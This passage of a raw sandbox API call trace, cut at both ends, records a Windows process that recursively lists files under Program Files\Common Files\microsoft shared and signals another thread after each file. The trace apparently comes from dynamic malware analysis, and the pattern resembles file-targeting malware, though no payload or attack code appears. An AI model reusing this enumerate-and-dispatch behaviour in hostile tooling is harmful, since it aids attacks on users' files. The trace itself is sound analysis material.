ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0094.956] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0094.956] GetProcessHeap () returned 0xc00000 [0094.956] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0094.956] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0094.956] GetProcessHeap () returned 0xc00000 [0094.956] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0094.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0094.956] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.956] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0094.956] ResetEvent (hEvent=0x2cc) returned 1 [0094.957] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0094.971] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0094.971] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0094.971] GetProcessHeap () returned 0xc00000 [0094.971] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0094.972] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0094.972] GetProcessHeap () returned 0xc00000 [0094.972] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0094.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0094.973] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.973] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0094.973] ResetEvent (hEvent=0x2cc) returned 1 [0094.973] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0095.047] ResetEvent (hEvent=0x2cc) returned 1 [0095.047] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0095.355] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0095.355] ResetEvent (hEvent=0x2cc) returned 1 [0095.355] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0095.413] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0095.414] ResetEvent (hEvent=0x2cc) returned 1 [0095.414] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0095.660] ResetEvent (hEvent=0x2cc) returned 1 [0095.660] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0095.672] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0095.672] ResetEvent (hEvent=0x2cc) returned 1 [0095.672] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0095.825] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0095.826] ResetEvent (hEvent=0x2cc) returned 1 [0095.826] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0095.847] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0095.848] ResetEvent (hEvent=0x2cc) returned 1 [0095.848] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0095.881] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0095.882] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0095.882] ResetEvent (hEvent=0x2cc) returned 1 [0095.882] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0096.310] ResetEvent (hEvent=0x2cc) returned 1 [0096.310] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0096.461] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0096.462] ResetEvent (hEvent=0x2cc) returned 1 [0096.462] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0096.470] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0096.471] ResetEvent (hEvent=0x2cc) returned 1 [0096.471] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0096.585] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0096.586] ResetEvent (hEvent=0x2cc) returned 1 [0096.586] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0096.707] ResetEvent (hEvent=0x2cc) returned 1 [0096.707] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0096.746] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0096.746] ResetEvent (hEvent=0x2cc) returned 1 [0096.746] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0097.000] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0097.001] ResetEvent (hEvent=0x2cc) returned 1 [0097.001] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0097.149] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0097.149] ResetEvent (hEvent=0x2cc) returned 1 [0097.149] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0097.193] ResetEvent (hEvent=0x2cc) returned 1 [0097.193] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0097.202] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0097.202] ResetEvent (hEvent=0x2cc) returned 1 [0097.202] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0097.237] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0097.237] ResetEvent (hEvent=0x2cc) returned 1 [0097.237] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0097.256] ResetEvent (hEvent=0x2cc) returned 1 [0097.257] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0097.268] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0097.268] ResetEvent (hEvent=0x2cc) returned 1 [0097.268] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0097.571] ResetEvent (hEvent=0x2cc) returned 1 [0097.571] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0098.001] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0098.001] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0098.001] ResetEvent (hEvent=0x2cc) returned 1 [0098.001] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0098.011] ResetEvent (hEvent=0x2cc) returned 1 [0098.011] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0098.046] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0098.046] ResetEvent (hEvent=0x2cc) returned 1 [0098.046] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0098.430] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0098.430] ResetEvent (hEvent=0x2cc) returned 1 [0098.430] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0098.522] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0098.523] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0098.524] GetProcessHeap () returned 0xc00000 [0098.524] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0098.524] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="TextConv", cAlternateFileName="")) returned 1 [0098.524] GetProcessHeap () returned 0xc00000 [0098.524] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0098.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0098.524] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.524] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0098.524] GetProcessHeap () returned 0xc00000 [0098.524] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0098.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0098.525] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.525] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, 